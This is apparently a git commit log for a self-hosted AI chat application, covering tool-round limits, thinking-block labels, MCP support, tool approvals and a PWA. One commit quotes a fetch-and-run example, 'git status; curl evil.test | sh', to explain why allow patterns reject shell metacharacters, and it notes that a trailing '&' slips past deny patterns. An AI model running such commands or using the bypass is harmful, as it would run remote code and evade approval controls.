8 Commits

Author SHA1 Message Date
Jaroslav Beneš 30ddcba787 A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first
burst, written once, so on the fifteen-block reply GPT-OSS actually produces
only the first could claim a duration and the other fourteen said "Thought" and
nothing at all. `Generation.thinking_ms` accumulates per round and `close_step`
stamps it cumulatively, so steps.py diffs it exactly as it already diffs the
three lengths beside it.

The interval between a round's first and last reasoning delta, deliberately, not
a sum of gaps between deltas -- that would count the network's latency as the
model's thinking.

While it runs: "Thinking" with an ellipsis that types itself, and the seconds
and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is
no timer to start, stop or clean up when the block is swapped away -- it stops
existing when the element does. The numbers come from a `think` frame, and
`round_thinking_ms` is written by the producer rather than computed by the
follower from a start time: a model that has stopped thinking and moved on to a
tool should show a settled number, not a clock that keeps running.

Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by
the live label and the stored one, so the two cannot drift into two conventions.
The live duration is terser than the finished one -- `6s` against `6 seconds` --
because it sits beside an animating word and changes every second, where "less
than a second" flickering into "1 second" reads as a glitch.

Checked against the real endpoint: fourteen marks carrying 919ms through
14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k",
and the live frames resetting each round rather than accumulating.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 21:03:25 +02:00
Jaroslav Beneš e9546dcd1f A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00
Jaroslav Beneš 27b94c385d A ceiling that was a schedule, and a reply that ended in silence
Reported: an ordinary chat with a small local model researching a question
well -- six searches, each one informed by the last -- stopped at the round
limit and produced no answer at all. Two separate faults, and the second is
the serious one.

The limit was 5 and it should not have been a working number. It was 1 once,
and the note beside it already said why that was wrong: a count low enough to
be reached by ordinary work is a schedule, not a ceiling, and it overrides the
model's judgement on every turn instead of catching a runaway. Five was the
same mistake with a larger number. It is 0 now -- no ceiling, falling back to
MAX_TOOL_ROUNDS as a runaway backstop, which is the shape `Limits.steps`
already had for an agent chat. What bounds an ordinary chat is the context
window, which is a real limit rather than a guess at how much looking-up a
question deserves. An administrator who wants a ceiling can still set one.

The worse fault: *every* budget ended the reply where it was noticed. That is
survivable for a model that narrates as it works and produces nothing at all
for one that goes straight to tool calls -- an empty bubble with a red line
under it, and everything it had gathered thrown away. `_wrap_up` withdraws the
tools and asks once more instead. What it found is in the transcript either
way; one request turns it into an answer. Same move `plan_submit` makes, and
the reason the loop now runs to `budget + 2`: the round at the budget notices,
the one after it answers. The event stays, because an answer the model chose to
give and one it gave because it ran out of room read identically otherwise.

`_too_big` is the one exception and stays a hard stop. It *is* the finding that
there is no room for another request, so a wrap-up round would be the same
overflow with an upstream error in place of an explanation.

`core.keep_working` was gated on the agent family and is now gated on
`unbounded`, the exact complement of `round_budget` -- so an ordinary chat with
no ceiling is told to work until the job is done rather than being told nothing,
and is never told it has a budget of two hundred, which it would ration.

The regression test asserts the reply is not empty, and fails with `'' ==
'Here is what I found.'` against the old code -- which is exactly what was seen.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 11:11:57 +02:00
Jaroslav Beneš bf9287493b A ceiling for a chat, and a nudge for an agent that stops early
MAX_ROUNDS = 1 was wrong, and wrong in a way worth writing down. The loop
already ends the moment a round comes back with no tool calls -- that is the
model saying it has what it needs, and it is the termination condition every
agentic harness uses. A round limit was never a schedule; it exists to catch the
case where the model never says so. One is low enough to stop being a ceiling
and start being a schedule: it overrode the model's judgement on every single
turn.

And it broke something concrete. Several built-ins are two-step pairs --
knowledge_get and notes_get read a document "by the id a search returned" -- so
one round left the library searchable and not readable. That is not an edge
case, it is the library working at half depth, and I understated it as "cannot
search the web and then read a result" when the change went in.

It is a setting now, under General, default 5, with 0 meaning no ceiling. The
loop and the harness both read settings_store.chat_rounds, so the model is never
told a budget that is not its own; tools.MAX_ROUNDS is the fallback for callers
with no session and a test pins the two equal. core.rounds goes back to naming
the number, and vanishes entirely when there is no ceiling rather than promising
zero rounds.

The other half of "let it decide how long to go": an agent reply that ends while
its plan still has open tasks is asked once to carry on. Only against a plan,
because that is the one thing there is to be objectively wrong about -- a model
with no plan that says it has finished is believed, and arguing with it would be
guessing. At most twice in a row, with the count reset the moment it calls a
tool again, so the bound is on consecutive stops rather than on stops in total.
Never in Plan mode and never past plan_submit, which ends the turn on purpose.
Giving up is recorded as an event rather than left silent.

The model's own words go back with the nudge, which turned up a real bug on the
way: ReasoningSplitter holds back a few characters against a <think> tag split
across chunks, so round_text at the end of a round was missing its tail. That
text is echoed as an assistant turn for tool rounds too, so a model has been
occasionally asked to continue from a transcript where it trailed off
mid-sentence. Flushed per round now.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 12:41:36 +02:00
Jaroslav Beneš 7977d4ef25 One round for a chat, as many as it takes for an agent
Two different jobs were sharing one number. A plain conversation asking a
question is one round of looking things up and then an answer; the rounds after
that were a small model that had decided searching was the answer searching
until the context ran out, at a full request each. MAX_ROUNDS is 1 now. Several
tools can still be called within that round, which is the thing worth telling
the model.

The trade is real and worth naming: a plain chat can no longer search and then
read one of the results, because reading is a second round. That is what an
agent chat is for.

An agent chat is sized by Limits instead, where steps is now a runaway backstop
and not a working budget. It was 40 and it was reached -- a step count low
enough to be the thing that ends a reply is a count that ends it halfway. What
bounds one now is the wall clock and a new completion-token ceiling, with zero
meaning no ceiling, the same convention index_chars already uses.

That ceiling would have been decorative. generation.completion_tokens is only
populated when the endpoint sends a usage block, and llama.cpp, Ollama and
friends never do; the fallback estimate is computed once, in _run's finally,
long after the loop that needs it. So _written takes the larger of reported and
estimated, and there is a test that runs the whole thing against a stream
reporting no usage at all. A limit that works on OpenAI and silently does
nothing everywhere else is the worst kind: one that looks configured.

core.rounds could not stay one fragment. "You get at most N rounds" is not the
same sentence with a different number in it -- a model told it has a budget
rations it and stops early to report progress, which is exactly the behaviour
that strands a long piece of work. So it splits: core.rounds keeps the
one-round case and gates on a new round_budget variable that _agent_values
blanks, and core.keep_working says the other thing to an agent chat.

A queued message during a one-round reply is now never taken mid-reply -- there
is no work under way to steer -- and falls through to _drain, which gives it a
reply of its own. No code change went with that; it falls out of the guard, and
there is a test so that "it happens to work" and "it is meant to work" stop
looking the same.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:11:05 +02:00
Jaroslav Beneš a58e48fce5 Say what a tool did, not where it ran
An agent event set its label to the SSH profile's name, so the transcript read
"homeserver · ls -la" -- naming the machine rather than the thing that was done.
Built-in tools set no label at all and fell back to the function name, so a
saved memory read "memory_add". The status line said "Running shell_run…" and
the approval card had its own hand-written wording. Four places, four answers,
nothing checking that any of them agreed.

services/tool_labels.py is the one table all of them read now. Bash, Read,
Write, List, Web search, Memory saved; an icon each, instead of everything
being the sparkle.

The precedence is inverted on purpose. Tool events are persisted in
Message.tool_calls_json, so every agent row already on disk carries the profile
name -- a resolver that preferred the stored value would fix nothing for any
transcript that already exists. So a name the table knows resolves from the
table, and a name it does not -- a custom HTTP tool, an MCP tool, whose labels
are per row and cannot be tabulated -- keeps its own. One rule, both cases
correct. The machine moves to `detail`, where "where this ran" belongs.

tool_label and tool_icon are Jinja globals because a message bubble is rendered
from four handlers, and a fifth thing each of them must remember to pass is a
fifth thing one of them will forget.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 10:58:02 +02:00
Jaroslav Beneš ecadb66414 MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and
cached, then offered beside the built-in ones. Written by hand rather than
taken from the reference SDK, because that SDK's transport does its own
connecting -- and the one thing that must not be bypassed is check_url on
every hop. Owning the transport is the point; the framing beside it is the
small part.

Sessions are per call: initialize, initialized, the call, a best-effort
DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown
hook, and the server may expire it under all of that anyway -- ToolContext
is a session-free snapshot precisely so nothing in a tool holds live state.

A server's names and descriptions reach the model as instructions and are
bounded before they do; what it returns is escaped preformatted text, never
markdown. Tools are namespaced per server, so two servers exposing "search"
do not collide and neither shadows a built-in.

Also: a round's calls now run together under a semaphore, results indexed
so each tool turn stays paired with its call, and generation.status names
what is running -- a remote tool is latency-bound, and a silent pause is
what a hang looks like.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 16:44:29 +02:00
Jaroslav Beneš 436226370a PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.

**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.

**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.

**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.

**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.

Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.

Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.

338 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 17:56:50 +02:00